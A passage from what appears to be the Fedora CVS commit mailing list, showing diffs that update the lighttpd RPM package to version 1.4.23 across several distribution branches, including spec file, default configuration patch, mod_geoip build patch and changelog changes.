@@ -5,14 +5,15 @@
 
 Summary: Lightning fast webserver with light system requirements
 Name: lighttpd
-Version: 1.4.22
-Release: 2%{?dist}
+Version: 1.4.23
+Release: 1%{?dist}
 License: BSD
 Group: System Environment/Daemons
 URL: http://www.lighttpd.net/
 Source0: http://www.lighttpd.net/download/lighttpd-%{version}.tar.bz2
 Source1: lighttpd.logrotate
 Source2: php.d-lighttpd.ini
+Source3: lighttpd.init
 Source10: index.html
 Source11: http://www.lighttpd.net/favicon.ico
 Source12: http://www.lighttpd.net/light_button.png
@@ -20,9 +21,8 @@ Source13: http://www.lighttpd.net/light_
 Source14: lighttpd-empty.png
 Source100: lighttpd-mod_geoip.c
 Source101: lighttpd-mod_geoip.txt
-Patch0: lighttpd-1.4.20-defaultconf.patch
-Patch1: lighttpd-1.4.18-mod_geoip.patch
-Patch2: lighttpd-1.4.20-initinfo.patch
+Patch0: lighttpd-1.4.23-defaultconf.patch
+Patch1: lighttpd-1.4.23-mod_geoip.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 # For the target poweredby.png image (skip requirement + provide image on RHEL)
 %if 0%{!?rhel:1}
@@ -93,20 +93,10 @@ BuildRequires: mysql-devel
 Virtual host module for lighttpd that uses a MySQL database.
 
 
-%package -n spawn-fcgi
-Summary: Simple program for spawning FastCGI processes
-Group: System Environment/Daemons
-
-%description -n spawn-fcgi
-This package contains the spawn-fcgi program used for spawning FastCGI
-processes, which can be local or remote.
-
-
 %prep
 %setup -q
 %patch0 -p1 -b .defaultconf
 %patch1 -p1 -b .mod_geoip
-%patch2 -p1 -b .initinfo
 %{__install} -p -m 0644 %{SOURCE100} src/mod_geoip.c
 %{__install} -p -m 0644 %{SOURCE101} mod_geoip.txt
 
@@ -130,12 +120,6 @@ processes, which can be local or remote.
 %{__rm} -rf %{buildroot}
 %{__make} install DESTDIR=%{buildroot}
 
-# Install included init script and sysconfig entry
-%{__install} -D -p -m 0755 doc/rc.lighttpd.redhat \
-    %{buildroot}%{_sysconfdir}/rc.d/init.d/lighttpd
-%{__install} -D -p -m 0644 doc/sysconfig.lighttpd \
-    %{buildroot}%{_sysconfdir}/sysconfig/lighttpd
-
 # Install (*patched above*) sample config file
 %{__install} -D -p -m 0640 doc/lighttpd.conf \
     %{buildroot}%{_sysconfdir}/lighttpd/lighttpd.conf
@@ -149,6 +133,10 @@ processes, which can be local or remote.
 %{__install} -D -p -m 0644 %{SOURCE2} \
     %{buildroot}%{_sysconfdir}/php.d/lighttpd.ini
 
+# Install our own init script (the included one is old style)
+%{__install} -D -p -m 0755 %{SOURCE3} \
+    %{buildroot}%{_sysconfdir}/rc.d/init.d/lighttpd
+
 # Install our own default web page and images
 %{__mkdir_p} %{buildroot}%{webroot}
 %{__install} -p -m 0644 %{SOURCE10} %{SOURCE11} %{SOURCE12} %{SOURCE13} \
@@ -200,7 +188,6 @@ fi
 %dir %{_sysconfdir}/lighttpd/conf.d/
 %config(noreplace) %{_sysconfdir}/lighttpd/lighttpd.conf
 %config(noreplace) %{_sysconfdir}/logrotate.d/lighttpd
-%config(noreplace) %{_sysconfdir}/sysconfig/lighttpd
 %{_sysconfdir}/rc.d/init.d/lighttpd
 %{_sbindir}/lighttpd
 %{_sbindir}/lighttpd-angel
@@ -209,7 +196,7 @@ fi
 %exclude %{_libdir}/lighttpd/mod_fastcgi.so
 %exclude %{_libdir}/lighttpd/mod_geoip.so
 %exclude %{_libdir}/lighttpd/mod_mysql_vhost.so
-%{_mandir}/man1/lighttpd.1*
+%{_mandir}/man8/lighttpd.8*
 %attr(0750, lighttpd, lighttpd) %{_var}/log/lighttpd/
 %attr(0750, lighttpd, lighttpd) %{_var}/run/lighttpd/
 %dir %{webroot}/
@@ -237,12 +224,25 @@ fi
 %dir %{_libdir}/lighttpd/
 %{_libdir}/lighttpd/mod_mysql_vhost.so
 
-%files -n spawn-fcgi
-%defattr(-,root,root,-)
-%{_bindir}/spawn-fcgi
-%{_mandir}/man1/spawn-fcgi.1*
 
 %changelog
+* Thu Sep  3 2009 Matthias Saou <http://freshrpms.net/> 1.4.23-1
+- Update to 1.4.23.
+- Update defaultconf and mod_geoip patches.
+- Remove no longer shipped spawn-fcgi, it's a separate source package now.
+- Remove unused patch to the init script.
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.4.22-5
+- rebuilt with new openssl
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.22-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Apr 12 2009 Matthias Saou <http://freshrpms.net/> 1.4.22-3
+- Update init script to new style.
+- No longer include a sysconfig file, though one can be set to override the
+  default configuration file location.
+
 * Mon Mar 30 2009 Matthias Saou <http://freshrpms.net/> 1.4.22-2
 - Update to 1.4.22.
 - Add missing defattr for the spawn-fcgi package.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-4/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	4 Apr 2009 11:21:37 -0000	1.10
+++ sources	6 Oct 2009 19:10:31 -0000	1.11
@@ -1 +1 @@
-ed4ca3897eadf419c893b03fee53c982  lighttpd-1.4.22.tar.bz2
+0ab6bb7b17bf0f515ce7dce68e5e215a  lighttpd-1.4.23.tar.bz2


--- lighttpd-1.4.18-mod_geoip.patch DELETED ---


--- lighttpd-1.4.20-defaultconf.patch DELETED ---


--- lighttpd-1.4.20-initinfo.patch DELETED ---



From thias at fedoraproject.org  Tue Oct  6 19:10:31 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Tue,  6 Oct 2009 19:10:31 +0000 (UTC)
Subject: rpms/lighttpd/EL-5 lighttpd-1.4.23-defaultconf.patch, NONE,
	1.1 lighttpd-1.4.23-mod_geoip.patch, NONE, 1.1 .cvsignore, 1.23,
	1.24 lighttpd-mod_geoip.c, 1.1, 1.2 lighttpd.spec, 1.40,
	1.41 sources, 1.23, 1.24 lighttpd-1.4.18-mod_geoip.patch, 1.1,
	NONE lighttpd-1.4.20-defaultconf.patch, 1.1,
	NONE lighttpd-1.4.20-initinfo.patch, 1.1, NONE
Message-ID: <20091006191031.C76CF11C02A2@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/lighttpd/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18688/EL-5

Modified Files:
	.cvsignore lighttpd-mod_geoip.c lighttpd.spec sources 
Added Files:
	lighttpd-1.4.23-defaultconf.patch 
	lighttpd-1.4.23-mod_geoip.patch 
Removed Files:
	lighttpd-1.4.18-mod_geoip.patch 
	lighttpd-1.4.20-defaultconf.patch 
	lighttpd-1.4.20-initinfo.patch 
Log Message:
Update all current branches to the latest 1.4.23.


lighttpd-1.4.23-defaultconf.patch:
 lighttpd.conf |   15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-defaultconf.patch ---
diff -Naupr lighttpd-1.4.23.orig/doc/lighttpd.conf lighttpd-1.4.23/doc/lighttpd.conf
--- lighttpd-1.4.23.orig/doc/lighttpd.conf	2009-04-09 22:02:00.000000000 +0200
+++ lighttpd-1.4.23/doc/lighttpd.conf	2009-09-03 22:41:33.139052014 +0200
@@ -36,7 +36,7 @@ server.modules              = (
 
 ## A static document-root. For virtual hosting take a look at the
 ## mod_simple_vhost module.
-server.document-root        = "/srv/www/htdocs/"
+server.document-root        = "/var/www/lighttpd/"
 
 ## where to send error-messages to
 server.errorlog             = "/var/log/lighttpd/error.log"
@@ -50,6 +50,7 @@ index-file.names            = ( "index.p
 
 # mimetype mapping
 mimetype.assign             = (
+  ".rpm"          =>      "application/x-rpm",
   ".pdf"          =>      "application/pdf",
   ".sig"          =>      "application/pgp-signature",
   ".spl"          =>      "application/futuresplash",
@@ -147,7 +148,7 @@ static-file.exclude-extensions = ( ".php
 #server.error-handler-404   = "/error-handler.php"
 
 ## to help the rc.scripts
-#server.pid-file            = "/var/run/lighttpd.pid"
+server.pid-file            = "/var/run/lighttpd.pid"
 
 
 ###### virtual hosts
@@ -188,10 +189,10 @@ static-file.exclude-extensions = ( ".php
 #server.chroot              = "/"
 
 ## change uid to <uid> (default: don't care)
-#server.username            = "wwwrun"
+server.username            = "lighttpd"
 
 ## change uid to <uid> (default: don't care)
-#server.groupname           = "wwwrun"
+server.groupname           = "lighttpd"
 
 #### compress module
 #compress.cache-dir         = "/var/cache/lighttpd/compress/"
@@ -215,7 +216,7 @@ static-file.exclude-extensions = ( ".php
 #                               ( "localhost" =>
 #                                 (
 #                                   "socket" => "/var/run/lighttpd/php-fastcgi.socket",
-#                                   "bin-path" => "/usr/local/bin/php-cgi"
+#                                   "bin-path" => "/usr/bin/php-cgi"
 #                                 )
 #                               )
 #                            )
@@ -320,3 +321,7 @@ static-file.exclude-extensions = ( ".php
 #include_shell "echo var.a=1"
 ## the above is same as:
 #var.a=1
+
+## include configuration snippets, usually provided by packages
+include_shell "find /etc/lighttpd/conf.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+

lighttpd-1.4.23-mod_geoip.patch:
 configure       |    2 +-
 configure.ac    |    2 +-
 src/Makefile.am |    5 +++++
 src/Makefile.in |   20 +++++++++++++++++---
 4 files changed, 24 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-mod_geoip.patch ---
diff -Naupr lighttpd-1.4.23.orig/configure lighttpd-1.4.23/configure
--- lighttpd-1.4.23.orig/configure	2009-06-07 21:26:07.000000000 +0200
+++ lighttpd-1.4.23/configure	2009-09-03 22:59:34.696051769 +0200
@@ -23235,7 +23235,7 @@ fi
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/configure.ac lighttpd-1.4.23/configure.ac
--- lighttpd-1.4.23.orig/configure.ac	2009-06-07 21:13:05.000000000 +0200
+++ lighttpd-1.4.23/configure.ac	2009-09-03 22:59:22.781056867 +0200
@@ -571,7 +571,7 @@ AC_OUTPUT
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.am lighttpd-1.4.23/src/Makefile.am
--- lighttpd-1.4.23.orig/src/Makefile.am	2009-06-16 15:45:42.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.am	2009-09-03 22:46:47.527052167 +0200
@@ -264,6 +264,11 @@ mod_accesslog_la_SOURCES = mod_accesslog
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
 
+lib_LTLIBRARIES += mod_geoip.la
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
+
 
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
diff -Naupr lighttpd-1.4.23.orig/src/Makefile.in lighttpd-1.4.23/src/Makefile.in
--- lighttpd-1.4.23.orig/src/Makefile.in	2009-06-19 21:19:22.000000000 +0200
+++ lighttpd-1.4.23/src/Makefile.in	2009-09-03 23:02:32.905052466 +0200
@@ -124,6 +124,12 @@ mod_accesslog_la_OBJECTS = $(am_mod_acce
 mod_accesslog_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
 	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
 	$(mod_accesslog_la_LDFLAGS) $(LDFLAGS) -o $@
+mod_geoip_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
+am_mod_geoip_la_OBJECTS = mod_geoip.lo
+mod_geoip_la_OBJECTS = $(am_mod_geoip_la_OBJECTS)
+mod_geoip_la_LINK = $(LIBTOOL) --tag=CC $(AM_LIBTOOLFLAGS) \
+	$(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(mod_geoip_la_LDFLAGS) $(LDFLAGS) -o $@
 mod_alias_la_DEPENDENCIES = $(am__DEPENDENCIES_2)
 am_mod_alias_la_OBJECTS = mod_alias.lo
 mod_alias_la_OBJECTS = $(am_mod_alias_la_OBJECTS)
@@ -406,7 +412,8 @@ SOURCES = $(liblightcomp_la_SOURCES) $(m
 	$(mod_status_la_SOURCES) $(mod_trigger_b4_dl_la_SOURCES) \
 	$(mod_userdir_la_SOURCES) $(mod_usertrack_la_SOURCES) \
 	$(mod_webdav_la_SOURCES) $(lemon_SOURCES) $(lighttpd_SOURCES) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 DIST_SOURCES = $(am__liblightcomp_la_SOURCES_DIST) \
 	$(mod_access_la_SOURCES) $(mod_accesslog_la_SOURCES) \
 	$(mod_alias_la_SOURCES) $(mod_auth_la_SOURCES) \
@@ -425,7 +432,8 @@ DIST_SOURCES = $(am__liblightcomp_la_SOU
 	$(mod_trigger_b4_dl_la_SOURCES) $(mod_userdir_la_SOURCES) \
 	$(mod_usertrack_la_SOURCES) $(mod_webdav_la_SOURCES) \
 	$(lemon_SOURCES) $(am__lighttpd_SOURCES_DIST) \
-	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES)
+	$(lighttpd_angel_SOURCES) $(proc_open_SOURCES) \
+	$(mod_geoip_la_SOURCES)
 HEADERS = $(noinst_HEADERS)
 ETAGS = etags
 CTAGS = ctags
@@ -612,7 +620,7 @@ lib_LTLIBRARIES = $(am__append_1) mod_fl
 	mod_ssi.la mod_secdownload.la mod_expire.la mod_evhost.la \
 	mod_simple_vhost.la mod_fastcgi.la mod_extforward.la \
 	mod_access.la mod_compress.la mod_auth.la mod_rewrite.la \
-	mod_redirect.la mod_status.la mod_accesslog.la
+	mod_redirect.la mod_status.la mod_accesslog.la mod_geoip.la
 @NO_RDYNAMIC_TRUE at liblightcomp_la_SOURCES = $(common_src)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_CFLAGS = $(AM_CFLAGS)
 @NO_RDYNAMIC_TRUE at liblightcomp_la_LDFLAGS = -avoid-version -no-undefined
@@ -719,6 +727,9 @@ mod_status_la_LIBADD = $(common_libadd)
 mod_accesslog_la_SOURCES = mod_accesslog.c
 mod_accesslog_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
 mod_accesslog_la_LIBADD = $(common_libadd)
+mod_geoip_la_SOURCES = mod_geoip.c
+mod_geoip_la_LDFLAGS = -module -export-dynamic -avoid-version -no-undefined
+mod_geoip_la_LIBADD = $(common_libadd) -lGeoIP
 hdr = server.h buffer.h network.h log.h keyvalue.h \
       response.h request.h fastcgi.h chunk.h \
       settings.h http_chunk.h http_auth_digest.h \
@@ -822,6 +833,8 @@ mod_access.la: $(mod_access_la_OBJECTS) 
 	$(mod_access_la_LINK) -rpath $(libdir) $(mod_access_la_OBJECTS) $(mod_access_la_LIBADD) $(LIBS)
 mod_accesslog.la: $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_DEPENDENCIES) 
 	$(mod_accesslog_la_LINK) -rpath $(libdir) $(mod_accesslog_la_OBJECTS) $(mod_accesslog_la_LIBADD) $(LIBS)
+mod_geoip.la: $(mod_geoip_la_OBJECTS) $(mod_geoip_la_DEPENDENCIES) 
+	$(mod_geoip_la_LINK) -rpath $(libdir) $(mod_geoip_la_OBJECTS) $(mod_geoip_la_LIBADD) $(LIBS)
 mod_alias.la: $(mod_alias_la_OBJECTS) $(mod_alias_la_DEPENDENCIES) 
 	$(mod_alias_la_LINK) -rpath $(libdir) $(mod_alias_la_OBJECTS) $(mod_alias_la_LIBADD) $(LIBS)
 mod_auth.la: $(mod_auth_la_OBJECTS) $(mod_auth_la_DEPENDENCIES) 
@@ -1012,6 +1025,7 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/md5.Po at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_access.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_accesslog.Plo at am__quote@
+ at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_geoip.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_alias.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_auth.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/mod_cgi.Plo at am__quote@


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-5/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	4 Apr 2009 11:21:38 -0000	1.23
+++ .cvsignore	6 Oct 2009 19:10:31 -0000	1.24
@@ -1 +1 @@
-lighttpd-1.4.22.tar.bz2
+lighttpd-1.4.23.tar.bz2


Index: lighttpd-mod_geoip.c
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-5/lighttpd-mod_geoip.c,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lighttpd-mod_geoip.c	4 Mar 2008 11:08:09 -0000	1.1
+++ lighttpd-mod_geoip.c	6 Oct 2009 19:10:31 -0000	1.2
@@ -83,7 +83,7 @@ INIT_FUNC(mod_geoip_init) {
 	return p;
 }
 
-/* detroy the plugin data */
+/* destroy the plugin data */
 FREE_FUNC(mod_geoip_free) {
 	plugin_data *p = p_d;
 	
@@ -102,7 +102,7 @@ FREE_FUNC(mod_geoip_free) {
 			buffer_free(s->db_name);
 			
 			/* clean up */
-			GeoIP_delete(s->gi);
+			if (s->gi) GeoIP_delete(s->gi);
 
 			free(s);
 		}


Index: lighttpd.spec
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-5/lighttpd.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- lighttpd.spec	4 Apr 2009 11:21:38 -0000	1.40
+++ lighttpd.spec	6 Oct 2009 19:10:31 -0000	1.41
@@ -5,14 +5,15 @@
 
 Summary: Lightning fast webserver with light system requirements
 Name: lighttpd
-Version: 1.4.22
-Release: 2%{?dist}
+Version: 1.4.23
+Release: 1%{?dist}
 License: BSD
 Group: System Environment/Daemons
 URL: http://www.lighttpd.net/
 Source0: http://www.lighttpd.net/download/lighttpd-%{version}.tar.bz2
 Source1: lighttpd.logrotate
 Source2: php.d-lighttpd.ini
+Source3: lighttpd.init
 Source10: index.html
 Source11: http://www.lighttpd.net/favicon.ico
 Source12: http://www.lighttpd.net/light_button.png
@@ -20,9 +21,8 @@ Source13: http://www.lighttpd.net/light_
 Source14: lighttpd-empty.png
 Source100: lighttpd-mod_geoip.c
 Source101: lighttpd-mod_geoip.txt
-Patch0: lighttpd-1.4.20-defaultconf.patch
-Patch1: lighttpd-1.4.18-mod_geoip.patch
-Patch2: lighttpd-1.4.20-initinfo.patch
+Patch0: lighttpd-1.4.23-defaultconf.patch
+Patch1: lighttpd-1.4.23-mod_geoip.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 # For the target poweredby.png image (skip requirement + provide image on RHEL)
 %if 0%{!?rhel:1}
@@ -93,20 +93,10 @@ BuildRequires: mysql-devel
 Virtual host module for lighttpd that uses a MySQL database.
 
 
-%package -n spawn-fcgi
-Summary: Simple program for spawning FastCGI processes
-Group: System Environment/Daemons
-
-%description -n spawn-fcgi
-This package contains the spawn-fcgi program used for spawning FastCGI
-processes, which can be local or remote.
-
-
 %prep
 %setup -q
 %patch0 -p1 -b .defaultconf
 %patch1 -p1 -b .mod_geoip
-%patch2 -p1 -b .initinfo
 %{__install} -p -m 0644 %{SOURCE100} src/mod_geoip.c
 %{__install} -p -m 0644 %{SOURCE101} mod_geoip.txt
 
@@ -130,12 +120,6 @@ processes, which can be local or remote.
 %{__rm} -rf %{buildroot}
 %{__make} install DESTDIR=%{buildroot}
 
-# Install included init script and sysconfig entry
-%{__install} -D -p -m 0755 doc/rc.lighttpd.redhat \
-    %{buildroot}%{_sysconfdir}/rc.d/init.d/lighttpd
-%{__install} -D -p -m 0644 doc/sysconfig.lighttpd \
-    %{buildroot}%{_sysconfdir}/sysconfig/lighttpd
-
 # Install (*patched above*) sample config file
 %{__install} -D -p -m 0640 doc/lighttpd.conf \
     %{buildroot}%{_sysconfdir}/lighttpd/lighttpd.conf
@@ -149,6 +133,10 @@ processes, which can be local or remote.
 %{__install} -D -p -m 0644 %{SOURCE2} \
     %{buildroot}%{_sysconfdir}/php.d/lighttpd.ini
 
+# Install our own init script (the included one is old style)
+%{__install} -D -p -m 0755 %{SOURCE3} \
+    %{buildroot}%{_sysconfdir}/rc.d/init.d/lighttpd
+
 # Install our own default web page and images
 %{__mkdir_p} %{buildroot}%{webroot}
 %{__install} -p -m 0644 %{SOURCE10} %{SOURCE11} %{SOURCE12} %{SOURCE13} \
@@ -200,7 +188,6 @@ fi
 %dir %{_sysconfdir}/lighttpd/conf.d/
 %config(noreplace) %{_sysconfdir}/lighttpd/lighttpd.conf
 %config(noreplace) %{_sysconfdir}/logrotate.d/lighttpd
-%config(noreplace) %{_sysconfdir}/sysconfig/lighttpd
 %{_sysconfdir}/rc.d/init.d/lighttpd
 %{_sbindir}/lighttpd
 %{_sbindir}/lighttpd-angel
@@ -209,7 +196,7 @@ fi
 %exclude %{_libdir}/lighttpd/mod_fastcgi.so
 %exclude %{_libdir}/lighttpd/mod_geoip.so
 %exclude %{_libdir}/lighttpd/mod_mysql_vhost.so
-%{_mandir}/man1/lighttpd.1*
+%{_mandir}/man8/lighttpd.8*
 %attr(0750, lighttpd, lighttpd) %{_var}/log/lighttpd/
 %attr(0750, lighttpd, lighttpd) %{_var}/run/lighttpd/
 %dir %{webroot}/
@@ -237,12 +224,25 @@ fi
 %dir %{_libdir}/lighttpd/
 %{_libdir}/lighttpd/mod_mysql_vhost.so
 
-%files -n spawn-fcgi
-%defattr(-,root,root,-)
-%{_bindir}/spawn-fcgi
-%{_mandir}/man1/spawn-fcgi.1*
 
 %changelog
+* Thu Sep  3 2009 Matthias Saou <http://freshrpms.net/> 1.4.23-1
+- Update to 1.4.23.
+- Update defaultconf and mod_geoip patches.
+- Remove no longer shipped spawn-fcgi, it's a separate source package now.
+- Remove unused patch to the init script.
+
+* Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.4.22-5
+- rebuilt with new openssl
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.4.22-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Apr 12 2009 Matthias Saou <http://freshrpms.net/> 1.4.22-3
+- Update init script to new style.
+- No longer include a sysconfig file, though one can be set to override the
+  default configuration file location.
+
 * Mon Mar 30 2009 Matthias Saou <http://freshrpms.net/> 1.4.22-2
 - Update to 1.4.22.
 - Add missing defattr for the spawn-fcgi package.


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/lighttpd/EL-5/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	4 Apr 2009 11:21:38 -0000	1.23
+++ sources	6 Oct 2009 19:10:31 -0000	1.24
@@ -1 +1 @@
-ed4ca3897eadf419c893b03fee53c982  lighttpd-1.4.22.tar.bz2
+0ab6bb7b17bf0f515ce7dce68e5e215a  lighttpd-1.4.23.tar.bz2


--- lighttpd-1.4.18-mod_geoip.patch DELETED ---


--- lighttpd-1.4.20-defaultconf.patch DELETED ---


--- lighttpd-1.4.20-initinfo.patch DELETED ---



From thias at fedoraproject.org  Tue Oct  6 19:10:32 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Tue,  6 Oct 2009 19:10:32 +0000 (UTC)
Subject: rpms/lighttpd/F-10 lighttpd-1.4.23-defaultconf.patch, NONE,
	1.1 lighttpd-1.4.23-mod_geoip.patch, NONE, 1.1 .cvsignore, 1.26,
	1.27 lighttpd.spec, 1.51, 1.52 sources, 1.26,
	1.27 lighttpd-1.4.18-mod_geoip.patch, 1.1,
	NONE lighttpd-1.4.20-defaultconf.patch, 1.1,
	NONE lighttpd-1.4.20-initinfo.patch, 1.1, NONE
Message-ID: <20091006191032.3179C11C02A2@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/lighttpd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18688/F-10

Modified Files:
	.cvsignore lighttpd.spec sources 
Added Files:
	lighttpd-1.4.23-defaultconf.patch 
	lighttpd-1.4.23-mod_geoip.patch 
Removed Files:
	lighttpd-1.4.18-mod_geoip.patch 
	lighttpd-1.4.20-defaultconf.patch 
	lighttpd-1.4.20-initinfo.patch 
Log Message:
Update all current branches to the latest 1.4.23.


lighttpd-1.4.23-defaultconf.patch:
 lighttpd.conf |   15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-defaultconf.patch ---
diff -Naupr lighttpd-1.4.23.orig/doc/lighttpd.conf lighttpd-1.4.23/doc/lighttpd.conf
--- lighttpd-1.4.23.orig/doc/lighttpd.conf	2009-04-09 22:02:00.000000000 +0200
+++ lighttpd-1.4.23/doc/lighttpd.conf	2009-09-03 22:41:33.139052014 +0200
@@ -36,7 +36,7 @@ server.modules              = (
 
 ## A static document-root. For virtual hosting take a look at the
 ## mod_simple_vhost module.
-server.document-root        = "/srv/www/htdocs/"
+server.document-root        = "/var/www/lighttpd/"
 
 ## where to send error-messages to
 server.errorlog             = "/var/log/lighttpd/error.log"
@@ -50,6 +50,7 @@ index-file.names            = ( "index.p
 
 # mimetype mapping
 mimetype.assign             = (
+  ".rpm"          =>      "application/x-rpm",
   ".pdf"          =>      "application/pdf",
   ".sig"          =>      "application/pgp-signature",
   ".spl"          =>      "application/futuresplash",
@@ -147,7 +148,7 @@ static-file.exclude-extensions = ( ".php
 #server.error-handler-404   = "/error-handler.php"
 
 ## to help the rc.scripts
-#server.pid-file            = "/var/run/lighttpd.pid"
+server.pid-file            = "/var/run/lighttpd.pid"
 
 
 ###### virtual hosts
@@ -188,10 +189,10 @@ static-file.exclude-extensions = ( ".php
 #server.chroot              = "/"
 
 ## change uid to <uid> (default: don't care)
-#server.username            = "wwwrun"
+server.username            = "lighttpd"
 
 ## change uid to <uid> (default: don't care)
-#server.groupname           = "wwwrun"
+server.groupname           = "lighttpd"
 
 #### compress module
 #compress.cache-dir         = "/var/cache/lighttpd/compress/"
@@ -215,7 +216,7 @@ static-file.exclude-extensions = ( ".php
 #                               ( "localhost" =>
 #                                 (
 #                                   "socket" => "/var/run/lighttpd/php-fastcgi.socket",
-#                                   "bin-path" => "/usr/local/bin/php-cgi"
+#                                   "bin-path" => "/usr/bin/php-cgi"
 #                                 )
 #                               )
 #                            )
@@ -320,3 +321,7 @@ static-file.exclude-extensions = ( ".php
 #include_shell "echo var.a=1"
 ## the above is same as:
 #var.a=1
+
+## include configuration snippets, usually provided by packages
+include_shell "find /etc/lighttpd/conf.d -maxdepth 1 -name '*.conf' -exec cat {} \;"
+

lighttpd-1.4.23-mod_geoip.patch:
 configure       |    2 +-
 configure.ac    |    2 +-
 src/Makefile.am |    5 +++++
 src/Makefile.in |   20 +++++++++++++++++---
 4 files changed, 24 insertions(+), 5 deletions(-)

--- NEW FILE lighttpd-1.4.23-mod_geoip.patch ---
diff -Naupr lighttpd-1.4.23.orig/configure lighttpd-1.4.23/configure
--- lighttpd-1.4.23.orig/configure	2009-06-07 21:26:07.000000000 +0200
+++ lighttpd-1.4.23/configure	2009-09-03 22:59:34.696051769 +0200
@@ -23235,7 +23235,7 @@ fi
 do_build="mod_cgi mod_fastcgi mod_extforward mod_proxy mod_evhost mod_simple_vhost mod_access mod_alias mod_setenv mod_usertrack mod_auth mod_status mod_accesslog"
 do_build="$do_build mod_rrdtool mod_secdownload mod_expire mod_compress mod_dirlisting mod_indexfile mod_userdir mod_webdav mod_staticfile mod_scgi mod_flv_streaming"
 
-plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl"
+plugins="mod_rewrite mod_redirect mod_ssi mod_trigger_b4_dl mod_geoip"
 features="regex-conditionals"
 if test ! "x$PCRE_LIB" = x; then
 	do_build="$do_build $plugins"
diff -Naupr lighttpd-1.4.23.orig/configure.ac lighttpd-1.4.23/configure.ac
